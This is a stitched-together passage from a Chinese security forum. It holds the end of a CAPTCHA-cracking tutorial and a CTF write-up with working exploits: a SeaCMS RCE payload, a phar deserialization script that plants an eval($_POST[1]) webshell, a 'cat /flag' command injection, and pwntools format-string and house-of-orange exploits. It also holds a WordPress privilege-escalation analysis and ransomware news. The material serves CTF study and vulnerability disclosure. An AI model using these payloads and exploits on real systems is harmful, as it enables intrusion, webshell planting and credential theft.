`import xxxcms_generate_captcha as generate_captcha`
重新运行 `python train_captcha.py`
剩下的流程 就和 第一篇一样了 。
## 0x005 一些小心得
* 如何看我的算法是否已经生效
* 看lost的值是否是逐渐降低
* 是不是什么验证码都可以破解
* 理论上大小字母+数字以及一些图片上只有一些线或者点的 基本都可以。概率大小问题
* 能接受破解速度的基本是4位。5，6或者以上都需要大型机器来辅助加快模型生成
* 如何加快我的模型生成速度
* 增加硬件设备
* 调整模型生成参数
* 上阿里云购买 [阿里云GPU服务器](https://www.aliyun.com/product/ecs/gpu "阿里云GPU服务器")
## 其他
[使用tensorflow自动识别验证码（三）---CNN模型的基础知识概述以及模型优化](https://xianzhi.aliyun.com/forum/topic/1822/) | 社区文章 |
# 纵横杯线上初赛部分题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**纵横杯 By 天璇Merak**
## Web
### 大家一起来审代码
seacms
后台 admin admin弱密码登录
github搜 cve
后台getshell
<https://github.com/ciweiin/seacms/issues/10>
Vulnerability Name: rce
Vulnerability path: upload/admin/Admin_ ping.php
payload: ";phpinfo();/*
1.Open upload / admin / admin_ ping.php
We can see that the parameters of weburl and token are accepted in lines 7-8, and without any filtering, they are directly written in.. / data / admin in lines 10-18/ ping.php Under the path
image
Start to reappear
image
Click system, then click Baidu push setting
image
Then enter the attack statement in the text box
payload: ";phpinfo();/*
image
Then you see phpinfo executed
image
### easyci
直接sqlmap一把梭得到admin密码：HEIEHIEHIHEI
进入发现啥也没有，但是是root[@localhost](https://github.com/localhost
"@localhost"),想到上传文件getshell
需要知道网站根目录
/etc/apache2/sites-available/000-default.conf 查看网站的根目录路径
知道绝对路径后，直接上传文件拿到flag
### ezcms
发现`www.zip`源码泄露，并且下载官方源码，进行对比发现:
应该是此处存在漏洞，可以利用进行任意文件读取，该类对应后台的收集路由
在`config.php`中
判断可能后台密码和数据库密码相同，进入后台后，上传文章
<ss123>
<a href="httpxxx://../../../../../../../flag">123</a>
</ss123>
### hello_php
源码泄露进行审计，发现考察phar反序列化，还需要进行拼接。
<?php
class Config{
public $title;
public $comment;
public $logo_url;
public function __construct()
{
$this->title = '\';eval($_POST[1]);?>'; //进行拼接
$this->comment = '\';eval($_POST[1]);?>';
}
public function __destruct(){
$file = file_get_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php');
$file = preg_replace('/\$title=\'.*?\';/', "\$title='$this->title';", $file);
$file = preg_replace('/\$comment=\'.*?\';/', "\$commnet='$this->comment';", $file);
file_put_contents(pathinfo($_SERVER['SCRIPT_FILENAME'])['dirname'].'/config.php', $file);
}
}
$exception = new Config();
$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($exception);
$phar->stopBuffering();
?>
需要知道上传的时间，可以先得到时间再上传，在计算时间延后1-2s的md5值即可：
收集该文章：
采集得到flag
## Misc
### 签到
直接输出
### maze1
直接硬跑就出
(remote地址是外网服务器转发的地址+端口)
(咱们的网段被ban了！！！震声)
from pwn import *
from queue import Queue
p = remote("121.4.103.225", 11001)
p.recv()
p.sendline("")
dx = [0, 1, 0, -1]
dy = [1, 0, -1, 0]
ans = ['s', 'd', 'w', 'a']
cnt = 0
while True:
try:
maze = p.recvuntil("\n>", drop = True)
except:
break
height = maze.count('\n')
width = len(maze.split('\n')[0])
maze = maze.replace('\n', '')
q = Queue()
now = maze.find('*')
q.put((now, ""))
accessable = []
way = ""
while not q.empty():
this = q.get()
position = this[0]
if maze[position] == '$':
way = this[1]
break
accessable.append(position)
for i in range(4):
if maze[position + dy[i] * width + dx[i]] != '#' and position + dy[i] * width + dx[i] not in accessable:
q.put((position + dy[i] * width + dx[i], this[1] + ans[i]))
p.recv()
p.sendline(way)
print("finished! %d" % cnt)
print(way)
cnt += 1
p.interactive()
### 问卷
good_game
### My_secret
给了png和密码就直接往lsb考虑 一看就都是脚本题目
直接带密钥得lsb一把梭
得到第二串密钥
38d668578a3686ab
一看jpg后面有一些奇怪的东西
感觉是某种加密应该解密就是flag
所以这串密钥应该是解决 wav难题的。
wav 只见过silent eye 和 在新疆杯上见过的deepsound2john
silenteye无果，这个就试deepsound
直接出了下一个密钥 carrier
继续解密
secret.jpg
又是工具，stegdetect啥也没有steghide也啥也没有水印也啥也没有
还是找工具 直接找xstegsecret 也没有
最后找oursecret 彳亍
拿到flag
flag{5ba4f1e5-0108-4ffe-8dba-7acdd528af33}
### 马赛克
前几天才有的工具
紧随潮流
depix一把梭
老人工智能了
看就恩看
0123468abd68abd0123
### maze2
非预期input()命令执行
__import__('os').system('cat /flag')
## Cry
### common
De1CTF ez RSA原题，一样的格子，遍历得到d1，d2即可
from Crypto_tools import *
from sage.all import *
from sage.all_cmdline import *
e1 = 28720970875923431651096339432854172528258265954461865674640550905460254396153781189674547341687577425387833579798322688436040388359600753225864838008717449960738481507237546818409576080342018413998438508242156786918906491731633276138883100372823397583184685654971806498370497526719232024164841910708290088581
e2 = 131021266002802786854388653080729140273443902141665778170604465113620346076511262124829371838724811039714548987535108721308165699613894661841484523537507024099679248417817366537529114819815251239300463529072042548335699747397368129995809673969216724195536938971493436488732311727298655252602350061303755611563
N = 159077408219654697980513139040067154659570696914750036579069691821723381989448459903137588324720148582015228465959976312274055844998506120677137485805781117564072817251103154968492955749973403646311198170703330345340987100788144707482536112028286039187104750378366564167383729662815980782817121382587188922253
c1 = 125774545911886560112703402972153322080506025378797523936708278181480201146872577291738201370911792392950418121767343486509724963000477466590009600240375221563806039364611362947152096656513910712238094956240996452246301471555709823003175801134035094856941903678067489942047840663479442285170087613352040341832
c2 = 125874844114757588984441500491946737723620819049276461078841545869549114013042058416210220287667061892072831243333341942699313440553285306436999725802970995457080384300690875762412008576026273931144721166609563493297003298586115510199518494430188305644317422640652955882264990001338974742192006748451975507803
E = [e1, e2]
for i in range(2048//3, 2048//3 + 50):
x = Integer(i) / Integer(2048)
print(i)
N_1 = round(N**(Integer(1)/Integer(2)))
N_2 = round(N**(1+x))
N_3 = round(N**(Integer(i) / Integer(100)))
A = Matrix(ZZ, [[N, -N_1 * N, 0, N**2],
[0, N_1 * e2, -N_2 * e2, -e2*N],
[0, 0, N_2 * e1, -e1*N],
[0, 0, 0, e1*e2]])
AL = A.LLL()
C = Matrix(ZZ, AL[0])
B = A.solve_left(C)[0]
phi_base = floor(e2 * (B[1] // B[0]))
for j in range(-1, 2):
phi = phi_base + j
for e in E:
d = inverse(e, phi)
m = long_to_bytes(pow(c1, d, N))
if all_ascii(m):
print(m)
m = long_to_bytes(pow(c2, d, N))
if all_ascii(m):
print(m)
sys.exit(1)
### babyLWE
祥云杯的板子([https://www.anquanke.com/post/id/223383#h3-25)跑一下就出了](https://www.anquanke.com/post/id/223383#h3-25\)%E8%B7%91%E4%B8%80%E4%B8%8B%E5%B0%B1%E5%87%BA%E4%BA%86)
from sage.modules.free_module_integer import IntegerLattice
def BabaisClosestPlaneAlgorithm(L, w):
'''
Yet another method to solve apprCVP, using a given good basis.
INPUT:
* "L" -- a matrix representing the LLL-reduced basis (v1, ..., vn) of a lattice.
* "w" -- a target vector to approach to.
OUTPUT:
* "v" -- a approximate closest vector.
Quoted from "An Introduction to Mathematical Cryptography":
In both theory and practice, Babai's closest plane algorithm
seems to yield better results than Babai's closest vertex algorithm.
'''
G, _ = L.gram_schmidt()
t = w
i = L.nrows() - 1
while i >= 0:
w -= round( (w*G[i]) / G[i].norm()^2 ) * L[i]
i -= 1
return t - w
def fxxk_ggh():
module = 8934325385505568130914092337950620590424921674062792756625169144539462888362199042365894202712873706261308891694743761726859424971637596576879385466842113
row = 64
column = 32
Lattice = Matrix(ZZ, row + column, row)
for i in range(row):
for j in range(column):
Lattice[row + j, i] = matrix[i][j]
Lattice[i, i] = module
lattice = IntegerLattice(Lattice, lll_reduce=True)
target = vector(ZZ, result[:row])
cvp = BabaisClosestPlaneAlgorithm(lattice.reduced_basis, target)
#R = IntegerModRing(module)
FLAG = Matrix(Zmod(module), matrix[:row])
flag = FLAG \ cvp
print(''.join( chr(i) for i in flag))
result = []
for each in L:
result.append(each[1])
matrix = []
for each in L:
matrix.append(list(each[0]))
q = 8934325385505568130914092337950620590424921674062792756625169144539462888362199042365894202712873706261308891694743761726859424971637596576879385466842113
fxxk_ggh()
### digits_missing
基操解出来b和c,然后利用c2和b，dlp求出e1+e2
最后利用c3，爆破得到a
然后利用coppersmith’s attak ，已知m高位，求整个m，
from gmpy2 import *
from Crypto.Util.number import *
from random import getrandbits
import uuid
import time
def rsa_dpdq(c,p,q,dp,dq): #reveal dp&dq
mp = pow(c,dp,p)
mq = pow(c,dq,q)
InvP=invert(p,q)
InvQ=invert(q,p)
try:
m = (mp*p*InvP+mq*q*InvQ)%(p*q)
return long_to_bytes(m)
except:
m2 = (((mp-mq)*InvQ)%p)*q+mq
return long_to_bytes(m)
p, q, dp, dq, c1, c2, c3, c4=(9012177021932598731093097295248262551038647871172870414413032721858840633696698394506882692631276185231263668884098549390672903944012264131514913768102059, 13276428714493736525706972677766602646645198691674173239894688253198622492725429908291793598800440764746269328508467887923823901685795979465722976346922237, mpz(5930408515539601788951406582226981304578877157150457481768753879415433970957390721431031094532702280416640150245872132615421448633185480701871318895278989), mpz(11972181604197594098197709335060769256914063243271406338382796310027746876015678065849353020977194946821112122999623321373751271647095270275468582844123305), 57966359653034749624717052054886720604669397091956284485562330399309204365806164288874912956848166812573650240081262103554088454351078413904276590342808692268778913241694104922129212369889196568906576892924299521579873170934978926990069128954734188676355986565341173608480157492202372752135725156732438088451, 17447577574312613971450175033090544662604439837846591003262445289625314618867658318140901637203381694849451781593442921818926848261102816223339105960883880936085963968342669100290600300323911100802270364148539120737506206780930952620065175004528452087187134069806801029320727937046590254358062277589234558585, 66943876461951525707840551169609495355169491283660692485196611494799382570985756750860577906280538249497413155123044056244078935556257084118805468152775945759458619542048600342247793351383176258097725847066751405789329001076391433457940674605431362380193799429739629994616293306430787262244264200037659990855, 85675597623903160934355902355733447146886961162275348810277114534245305237441737270799547956164644091603077334678838275191826212916420001154430650989096444413373249883074046051633410316945100529471611200994087765054410035372436020860179978702092108306638848679132761052862447964856819933313063341755241056395)
nn=66442292138939994008585245717226499074430780356754301428786129627761199772080656972422189200687286655989342990033892222751162330429917160211076751202919221105000510408340684982768002644852287260860136071476247209262934997138516620028486517153019554511944103340884841254678682058936833441307291121560050184387
c=62660062196860780748321891664224323210733407658954868754136813454276197326286989854755063135388270492115677534757771740441654605013455630509082901831383997174837303122307903048769036933981340466294080355175644010962515708905474510644455088727239628649170131534290730571906687613233026401827836518586465485444
phi = (p-1)*(q-1)
d = inverse(65537,phi)
c = long_to_bytes(pow(c4,d,p*q))
flag_c = pow(c4,d,p*q)
b = rsa_dpdq(c1,p,q,dp,dq)
b = bytes_to_long(b)
flag_b = b
m1, m2 = b >> 256, b & 2 ** 256 - 1
mm = m1 + m2
print(mm)
print("")
print(q)
q = 13276428714493736525706972677766602646645198691674173239894688253198622492725429908291793598800440764746269328508467887923823901685795979465722976346922237
_q = 1807898026514198552161521755388692519550593191654928881367116633412247407510859936440485152109654028947281282838938910224883050168532843*777241*3*4
c = 17447577574312613971450175033090544662604439837846591003262445289625314618867658318140901637203381694849451781593442921818926848261102816223339105960883880936085963968342669100290600300323911100802270364148539120737506206780930952620065175004528452087187134069806801029320727937046590254358062277589234558585
cc = pow(c,_q,q)
m = 23691518323426457658635085562847800103472768631721540345337353927596161970597
mm = pow(m,_q,q)
#dlp 求e1+e2
#m = Mod(mm,q)
#c = Mod(cc,q)
#discrete_log(c,m)
#assert pow(m1 + m2,e1_e2,p*q)==c2
#var('x')
c3 = 66943876461951525707840551169609495355169491283660692485196611494799382570985756750860577906280538249497413155123044056244078935556257084118805468152775945759458619542048600342247793351383176258097725847066751405789329001076391433457940674605431362380193799429739629994616293306430787262244264200037659990855
e1_e2=1818610372
#mod = 119649525794086602537989574541241419796799436460454220755415501528996044207202659693031588834128799210243846006696362286233559955444645444962714577683770444593230371683999071742375716553356183063552347435698371156406100088045998453289093698593965307719228634481684435519601355578327980224641872499649552585983
#solve_mod([(x*(2^32)+(e1_e2-x))^(x*(2^32)+(e1_e2-x)) == c3],mod)
n=p*q
table = '0123456789abcdef'
temp = ""
'''
for i in table:
for j in table:
for k in table:
for l in table:
tmp = i+j+k+l
tmp = bytes_to_long(tmp)
tmp2 = e1_e2-tmp
a = (tmp<<32)+tmp2
#print(a)
if pow(a,a,n) == c3:
print(a)
a = (tmp2<<32)+tmp
if pow(a,a,n) == c3:
print(a)
'''
flag_a = 3762025631478473827
nn=66442292138939994008585245717226499074430780356754301428786129627761199772080656972422189200687286655989342990033892222751162330429917160211076751202919221105000510408340684982768002644852287260860136071476247209262934997138516620028486517153019554511944103340884841254678682058936833441307291121560050184387
c=62660062196860780748321891664224323210733407658954868754136813454276197326286989854755063135388270492115677534757771740441654605013455630509082901831383997174837303122307903048769036933981340466294080355175644010962515708905474510644455088727239628649170131534290730571906687613233026401827836518586465485444
m = bytes_to_long(long_to_bytes(flag_a) + long_to_bytes(flag_b) + long_to_bytes(flag_c))
'''
#sage
c=62660062196860780748321891664224323210733407658954868754136813454276197326286989854755063135388270492115677534757771740441654605013455630509082901831383997174837303122307903048769036933981340466294080355175644010962515708905474510644455088727239628649170131534290730571906687613233026401827836518586465485444
nn=66442292138939994008585245717226499074430780356754301428786129627761199772080656972422189200687286655989342990033892222751162330429917160211076751202919221105000510408340684982768002644852287260860136071476247209262934997138516620028486517153019554511944103340884841254678682058936833441307291121560050184387
m=930463309785680538015584437510307325649656854353255828146436212558343466451584971057735386588017651262290109823729492005958573543316448001003343467708576279015129647658405359649537202138408242
kbits = 128
m = m<<kbits
N = nn
e = 5
c = c
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
f = (m + x)^e - c
x0 = f.small_roots(X=2^128,epsilon=0.09)[0]
print(long_to_bytes(m + x0))
'''
## Pwn
### shell
格式化字符串漏洞改got表为one_gadget
#!/usr/bin/python
from pwn import *
context(log_level='debug',arch='amd64')
local=0
binary_name='pwn'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('121.4.103.225',35264)
e=ELF("./"+binary_name)
libc=ELF("libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def fmt(data,addr,off):
arg0=(data)&0xff
arg1=(data&0xff00)>>8
arg2=(data&0xff0000)>>16
arg3=(data&0xff000000)>>24
arg4=(data&0xff00000000)>>32
arg5=(data&0xff0000000000)>>40
# print arg0,arg1,arg2,arg3
# arg6=(data&0xf f000000000000)>>48
# arg7=(data&0xf f00000000000000)>>56
pay1='%'+str(arg0-5)+'c%'+str(off+10)+'$hhn'
pay2='%'+str( (arg1-arg0+0x100)%0x100)+'c%'+str(off+11)+'$hhn'
pay3='%'+str( (arg2-arg1+0x100)%0x100)+'c%'+str(off+12)+'$hhn'
pay4='%'+str( (arg3-arg2+0x100)%0x100)+'c%'+str(off+13)+'$hhn'
pay5='%'+str( (arg4-arg3+0x100)%0x100)+'c%'+str(off+14)+'$hhn'
pay6='%'+str( (arg5-arg4+0x100)%0x100)+'c%'+str(off+15)+'$hhn'
payload = pay1+pay2+pay3+pay4+pay5+pay6 # +'%100000c'
payload = payload.ljust(8*10,'A')
payload = payload.encode('latin1')
payload+= p64(addr)
payload+= p64(addr+1)
payload+= p64(addr+2)
payload+= p64(addr+3)
payload+= p64(addr+4)
payload+= p64(addr+5)
return payload
def a(payload):
sl('bg %1'+payload)
sleep(0.5)
payload='%p,%11$p,%163$p'
a(payload)
p.recv(2)
b = p.recvline()
text_base=int(b[3:17],16)-0x153b
print(hex(text_base))
libc_base=int(b[18:32],16)-0x6db8d
print(hex(libc_base))
system = libc_base+libc.sym['system']
onegadget=[0x45226,0x4527a,0xf0364,0xf1207]
oneshoot=libc_base+onegadget[0]
printf_got=text_base+0x203068
fmt=fmt(oneshoot,printf_got,173)
payload=b'bbb'+fmt
a(payload.decode('latin1'))
#z()
ia()
### wind_farm_panel
house of orange，套板出
from pwn import *
context(log_level='debug',arch='amd64')
local=0
binary_name='pwn'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('182.92.203.154',28452)
e=ELF("./"+binary_name)
libc=ELF("libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def add(idx,size,content):
ru(">> ")
sl("1")
ru("Please enter the wind turbine to be turned on(0 ~ 5): ")
sl(str(idx))
ru("Please input the maximum power of this wind turbine: ")
sl(str(size))
ru("Please write down the name of the person who opened it\nYour name: ")
sd(content)
def show(idx):
ru(">> ")
sl("2")
ru("Please select the number of the wind turbine to be viewed: ")
sl(str(idx))
def edit(idx,content):
ru(">> ")
sl("3")
ru("Please modify your personal information.\nWhich turbine: ")
sl(str(idx))
ru("Please input: ")
sd(content)
add(0,0x80,'a')
payload='a'*0x88+p64(0xf71)
edit(0,payload)
add(1,0x1000,'a')
add(2,0x400,'a')
show(2)
libcbase=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-1601-0x3c4b20
print ("libcbase:"+hex(libcbase))
edit(2,'a'*16)
#z()
show(2)
#rc(0x35)
#heapbase=u64(rc(6).ljust(8,'\x00'))-0x90
heapbase=u64(ru('\x55')[-6:].ljust(8,'\x00'))-0x90
print ("heapbase:"+hex(heapbase))
_IO_list_all=libcbase+libc.sym['_IO_list_all']
system=libcbase+libc.sym['system']
print ("IO list:"+hex(_IO_list_all))
payload='a'*0x400
fake_file='/bin/sh\x00'+p64(0x60)
fake_file+=p64(0)+p64(_IO_list_all-0x10)#unsorted bin attack
fake_file+=p64(0)+p64(1)#IO_write_ptr>IO_write_base
fake_file=fake_file.ljust(0xc0,'\x00')#_mode=0
payload+=fake_file
payload+=p64(0)*3+p64(heapbase+0x4a0+0xd8)
payload+=p64(0)*2+p64(system)
z()
edit(2,payload)
ru(">> ")
sl('1')
ru("Please enter the wind turbine to be turned on(0 ~ 5): ")
sl('0')
ru("Please input the maximum power of this wind turbine: ")
sl('128')
ia() | 社区文章 |
# WordPress权限提升导致存储型XSS和对象注入漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 ripstech，文章来源：blog.ripstech.com
原文地址：<https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
WordPress在创建博客文章的过程中存在逻辑缺陷，允许攻击者具有与管理员相同的权限。该漏洞导致WordPress核心产生存储型XSS和对象注入等严重漏洞，并且可能导致WordPress最受欢迎的插件Contact
Form 7和Jetpack中出现更为严重的漏洞。
## 影响：攻击者可以做什么
WordPress的本质上是一个博客软件，允许用户创建和发布帖子。随着时间的推移，WP上引入了不同的帖子类型（Post
Type），例如页面和媒体项目（包括图像、视频等）。插件可以注册新的帖子类型，例如产品、联系表单等。根据插件新注册的帖子类型，WordPress也随之具有新的功能。例如，联系表单（Contact
Form）插件可能允许创建具有文件上传字段的联系表单，可用于提交简历等方面。创建联系表单的用户可以定义允许的文件类型。在这里，攻击者也可以通过上传PHP文件，然后在网站上实现任意代码执行。这一点并不是问题，因为插件可以限制用户对管理员注册的帖子类型的访问，同时信任WordPress来处理这一限制。我们在本文中要讨论的权限提升漏洞，允许较低权限的用户绕过WordPress实施的安全检查，创建任何类型的帖子，并滥用自定义帖子的功能。这将会导致WordPress核心中产生存储型XSS漏洞和对象注入漏洞。根据WordPress中已安装插件的不同，还可能导致更严重的插件漏洞利用。例如，如果使用了WordPress最受欢迎、已经超过500万次安装的插件Contact
Form 7，攻击者可以读取目标WordPress站点的数据库凭据。大多数流行的WordPress插件都容易受到该权限提升漏洞的影响。
## 技术背景
要注册新的帖子类型，插件需要使用新帖子类型名称和一些meta信息来调用register_post_type()。
// Example post type
register_post_type( 'example_post_type', array(
'label' => 'Example Post Type', // The name of the type in the front end
'can_export' => true, // Make it possible to export posts of this type,
'description' => 'Just an example!' // A short description
));
### 自定义帖子类型安全性分析
每种帖子类型，都有其自身的编辑器页面（例如 example.com/wordpress/wp-admin/?page=example_post_type_editor ）。
如果插件开发人员决定只允许管理员使用插件的帖子类型，那么只需要在页面顶部的位置检查用户是否为管理员，否则就结束执行。
在/wp-content/plugins/example_plugin/example_post_type_editor.php中：
if(!current_user_is_administrator()) {
die("You are not an administrator and not allowed to use this post type.");
}
### WordPress帖子提交
尽管所有已注册的帖子类型，都有其对应的编辑器，但它们都可以使用WordPress帖子来提交API，并使用WordPress函数wp_write_post()来插入和更新帖子。该函数接受用户的输入，例如
$_POST[‘post_type’] 、 $_POST[‘post_title’] 和
$_POST[‘post_content’]，并按照相应的方式处理帖子。
在WordPress帖子提交过程的第一步，WordPress必须首先判断用户是想要编辑现有的帖子还是要创建新的帖子。为此，WordPress会检查用户是否已经发送帖子的ID。WordPress允许$_GET[‘post’]
或 $_POST[‘post_ID’]。如果ID已经存在，那么就证明用户想要编辑该ID的已有帖子，否则证明用户想要创建新的帖子。
/wp-admin/post.php中相关代码如下：
if ( isset( $_GET['post'] ) )
$post_id = $post_ID = $_GET['post'];
elseif ( isset( $_POST['post_ID'] ) )
$post_id = $post_ID = $_POST['post_ID'];
if($post_id)
⋮
在下一步中，WordPress必须确定用户尝试创建的帖子类型。如果已经发送帖子ID，那么WordPress将从wp_posts表中提取数据库中的post_type列。如果用户想要创建新帖子，那么目标帖子类型将为$_POST[‘post_type’]。
/wp-admin/post.php中相关代码如下：
if ( isset( $_GET['post'] ) )
$post_id = $post_ID = $_GET['post'];
elseif ( isset( $_POST['post_ID'] ) )
$post_id = $post_ID = $_POST['post_ID'];
if($post_id)
$post_type = get_post_type($post_id);
else
$post_type = $_POST['post_type'];
一旦WordPress清楚用户试图创建或编辑的帖子的类型，就会检查用户实际上是否被允许使用该帖子类型。WordPress通过验证只能从相应帖子类型的编辑器页面获取的随机数来完成此操作。
要进行随机数验证，WordPress将使用以下代码（位于/wp-admin/post.php中）：
if($post_id)
$post_type = get_post_type($post_id);
else
$post_type = $_POST['post_type'];
$nonce_name = "add-" . $post_type;
if(!wp_verify_nonce($_POST['nonce'], $nonce_name))
die("You are not allowed to use this post type!");
如果$post_type是post，那么$nonce_name将是add-post。如果$post_type是example_post_type，那么对应的$nonce_name则会是add-example_post_type。这个nonce只能由具有创建相应帖子类型权限的用户获取，因为只有这些用户才能访问到该帖子类型的编辑器页面，这是获取nonce的唯一方法。
## 漏洞分析
尽管权限较低的攻击者（例如攻击者以Contributor角色登录）无法访问示例帖子类型（example_post_type）的页面和nonce，但他可以获得普通帖子的nonce，其中就包含内部帖子类型post。这意味着，攻击者可以轻松将帖子ID设置为post类型的帖子，这样一来就可以通过nonce的验证。
在/wp-admin/post.php中相关代码如下：
// Send a post ID of a post of post type 'post'
if($post_id)
// This would return 'post'
$post_type = get_post_type($post_id);
else
$post_type = $_POST['post_type'];
// All users can by default create 'posts' and get the nonce to pass this check
$nonce_name = "add-" . $post_type;
if(!wp_verify_nonce($nonce_name))
die("You are not allowed to create posts of this type!");
然而，该方法仅允许更新现有帖子，并且无法覆盖帖子的post_type。如果设置了帖子ID，WordPress将在更新帖子之前从参数中删除post_type。
但是，如果设置了$_POST[‘post_ID’]，WordPress就只会删除$post_type参数。攻击者可以通过 $_POST[‘post_ID’]
或 $_GET[‘post’] 来发送帖子ID。如果攻击者通过$_GET[‘post’]发送帖子ID，那么就会发生以下情况：
1、WordPress发现该帖子ID存在，并从数据库中提取其帖子类型。
2、WordPress会检查攻击者是否针对该帖子类型发送了一个有效的nonce（攻击者可以随时从正常帖子中得到）
3、一旦通过了nonce检查，WordPress就会确认是否应该调用wp_update_post() 或
wp_insert_post()。具体而言，是通过检查是否设置了$ _POST
[‘post_ID’]来实现这一操作。如果是，将会调用wp_update_post并删除$
post_type参数，从而不允许攻击者修改帖子类型。如果没有设置，WordPress将会调用wp_insert_post()并使用$_POST[‘post_type’]作为新帖子的帖子类型。
由于WordPress在第三步中没有检查$_GET[‘post’]，导致攻击者可以通过nonce验证，并创建一个任意帖子类型的新帖子。下面展现的代码片段已经经过简化，实际上是在多个文件之间进行了多次函数调用，这样一来使得该过程更容易出现漏洞。
// An attacker sets $_GET['post'] to a post of a post type he can access
if ( isset( $_GET['post'] ) )
$post_id = $post_ID = $_GET['post'];
elseif ( isset( $_POST['post_ID'] ) )
$post_id = $post_ID = $_POST['post_ID'];
if($post_id)
// The post type is now 'post'
$post_type = get_post_type($post_id);
else
$post_type = $_POST['post_type'];
// Since the attacker has access to that post type, he can get the nonce and
// pass the nonce verification check
$nonce_name = "add-" . $post_type;
if(!wp_verify_nonce($nonce_name))
die("You are not allowed to create posts of this type!");
$post_details = array(
'post_title' => $_POST['post_title'],
'post_content' => $_POST['post_content'],
'post_type' => $_POST['post_type']
);
// WordPress only unsets the post_type if $_POST['post_ID'] is set and forgets to
// check $_GET['post']
if(isset($_POST['post_ID'])) {
unset($post_details['post_type']);
$post_details['ID'] = $post_id;
wp_update_post($post_details);
} else {
// If we just set $_GET['post'] we will enter this branch and can set the
// post type to anything we want it to be!
wp_insert_post($post_details);
}
## 漏洞利用：通过Contact Forms 7读取wp-config.php
到目前为止，我们已经掌握了较低权限的用户是如何滥用这一漏洞来创建任意类型帖子的，并且我们知道这一漏洞对站点的影响取决于所安装的插件以及这些插件提供的帖子类型的功能。
举一个具体的例子，作为Contributor角色的攻击者，有可能滥用WordPress最流行的插件Contact Form
7中的一个功能，来读取目标站点的wp-config.php文件的内容。该文件中包含数据库凭据和加密密钥。
在Contact Forms
7的5.0.3版本中，可以设置本地文件的附件。当管理员创建联系表单，并且页面的访问者提交该表单时，会向管理员发送一封电子邮件，其中包含用户输入的所有数据。本地文件附件是联系表单的一个功能，管理员可以定义随每封电子邮件附件发送的本地文件。
这意味着，攻击者可以轻松地创建一个新的联系表单，将本地文件附件设置为../wp-config.php，并设置将数据发送到攻击者的邮箱中，随后提交表单，并阅读邮箱收到的最重要的WordPress配置文件。
## 针对开发人员的漏洞修复方法
插件开发者应该通过在调用register_post_type()时显式设置apability和capability_type参数，来进一步增强插件的安全性。
// Example post type
register_post_type( 'example_post_type', array(
'label' => 'Example Post Type',
'capability_type' => 'page' // capability_type of page makes sure that
// only editors and admins can create posts of
// that type
));
建议开发人员阅读有关使用register_post_type进行帖子类型安全性加固的WordPress文档：
<https://codex.wordpress.org/Function_Reference/register_post_type#capability_type>
## WordPress的XMLRPC和REST API
作为防范方法，可以通过WordPress的XMLRPC和REST
API来创建帖子，这些帖子不会对特定帖子类型执行随机数验证。但是，再通过这些API创建帖子时，无法设置任意post
meta字段。我们发现的大多数插件中的漏洞，只有在用户能够设置post meta时才可以利用。
## 时间线
2018年8月31日 通过官网上的联系表格，向Contact Form 7报告了漏洞
2018年9月2日 在Hackerone上报告了WordPress的漏洞
2018年9月4日 Contact Form 7通知已修复此漏洞
2018年9月27日 WordPress安全团队对Hackerone上的漏洞进行了确认
2018年10月12日 WordPress在Hackerone上发布了一个补丁
2018年10月18日 我们验证该补丁有效
2018年12月13日 WordPress在发布5.0.1版本补丁
## 总结
借助本文所分析的漏洞，具有低于Contributor（这是WordPress中倒数第二个级别的角色）权限的攻击者可以创建他们无法访问的帖子类型的帖子。这样一来，攻击者就可以访问到仅限于管理员使用的功能。到目前为止，我们已经发现在WordPress流行度排名前五的插件里有2个插件存在该漏洞，我们估计可能会有数千个插件容易受到该漏洞的影响。此外，在WordPress的一个内部帖子类型中，我们还发现了存储型XSS和对象注入漏洞。存储型XSS可以通过点击劫持攻击来触发。在执行JavaScript后，可以实现完整的站点接管。 | 社区文章 |
**原文链接：<https://blog.malwarebytes.com/ransomware/2020/11/regretlocker-new-ransomware-can-encrypt-windows-virtual-hard-disks/>**
**译者：知道创宇404实验室翻译组**
网络安全研究人员上个月发现了一种名为RegretLocker的新型[勒索](https://www.malwarebytes.com/ransomware/)软件，尽管该软件包没有多余的装饰，但仍可能严重破坏Windows计算机上的虚拟硬盘。
RegretLocker可以绕过加密计算机虚拟硬盘时的加密时间，还可以关闭并加密用户当前打开的任何文件。Point3
Security副总裁ChloéMessdaghi将RegretLocker描述为“突破了加密虚拟文件的执行速度障碍的勒索软件”。“
RegretLocker实际上可以抢占虚拟磁盘，并且速度快得多。”
RegretLocker并未向受害者提供冗长的勒索软件说明（勒索软件的常见做法），要求受害者通过电子邮件地址与黑客联系。该电子邮件地址托管在CTemplar上，[根据Silicon
Angle](https://siliconangle.com/2020/11/04/newly-discovered-regretlocker-ransomware-targeting-windows-virtual-mahines/)的说法，CTemplar是位于冰岛的匿名电子邮件托管服务。
受害者收到的标题为“ HOW TO RESTORE FILES.TXT”的简短说明包含以下文本：
> “你好朋友。
>
> 您的所有文件均已加密。
>
> 如果要还原它们，请给我们发送电子邮件：[email protected]”
截至周二，威胁情报团队只知道一个报告的野生样本，并且没有已知或报告的受害者。但是，由于这种勒索软件可以快速加密虚拟硬盘，这是勒索软件功能的潜在突破。
勒索软件通常会避免对计算机上找到的虚拟磁盘进行加密尝试，因为这些虚拟磁盘的容量很大，并且加密这些文件的时间只会延迟勒索软件的用途：进入并锁定勒索软件。
